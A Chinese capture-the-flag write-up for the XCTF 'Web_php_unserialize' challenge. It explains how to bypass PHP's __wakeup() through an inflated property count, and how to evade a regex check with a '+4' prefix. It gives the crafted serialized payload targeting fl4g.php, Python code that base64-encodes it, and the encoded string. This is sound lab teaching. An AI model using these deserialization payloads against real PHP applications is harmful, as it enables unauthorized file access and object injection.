攻防世界:Web_php_unserialize

本文知识点:
php魔术方法(__wakeup)的绕过。 魔术方法
__wakeup()是当php函数调用unserialize函数的时候自动调用的。但是当序列化后的属性的数量超过实际的数量 的时候,在特定的php版本是可以绕过__wakeup()方法的调用的。
- 具体受影响的版本是**:PHP 5<5.6.25; PHP 7<7.0.10**
一个简单的例子:
php<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } } ?>将上述代码序列化后的数据是:
O:4:"Demo":1:{s:10:"\0Demo\0file";s:8:"fl4g.php";}将其改为:
O:4:"Demo":2:{s:10:"\0Demo\0file";s:8:"fl4g.php";}便能够绕过魔术方法__wakeup的调用。序列化数据显示:
public 属性序列化的时候格式是正常成员名
private 属性序列化的时候格式是\0类名\0成员名 : 比如"\0Demo\0file"
protect 属性序列化的时候格式是\0*\0成员名 :比如"\0*\0file"正则表达式中,属性数量的绕过,可以将数字前面添加正号(如:
+4)进行绕过。
解题思路
对象的序列化:
php
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
}
$a = new Demo("fl4g.php");
$b = serialize($a);
var_dump($b);
?>
上述代码的打印结果如下(注意\0的显示):

-
绕过正则表达式检查, 将4变为+4即可:
O:+4:"Demo":1:{s:10:"\0Demo\0file";s:8:"fl4g.php";} -
__wakeup方法的绕过,就是将类的属性的数量增加(只要大于原始的数量1即可):O:+4:"Demo":2:{s:10:"\0Demo\0file";s:8:"fl4g.php";}O:+4:"Demo":3:{s:10:"\0Demo\0file";s:8:"fl4g.php";} -
序列化数据,这里我使用的是python的方法,根据个人习惯即可,网上的题解一般使用的是php方法:
pythonimport base64 s = 'O:+4:"Demo":2:{s:10:"\0Demo\0file";s:8:"fl4g.php";}' print(base64.encodebytes(s.encode()).decode())输出的结果为:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== -
将其通过变量var传递到服务端即可:

拿到结果:
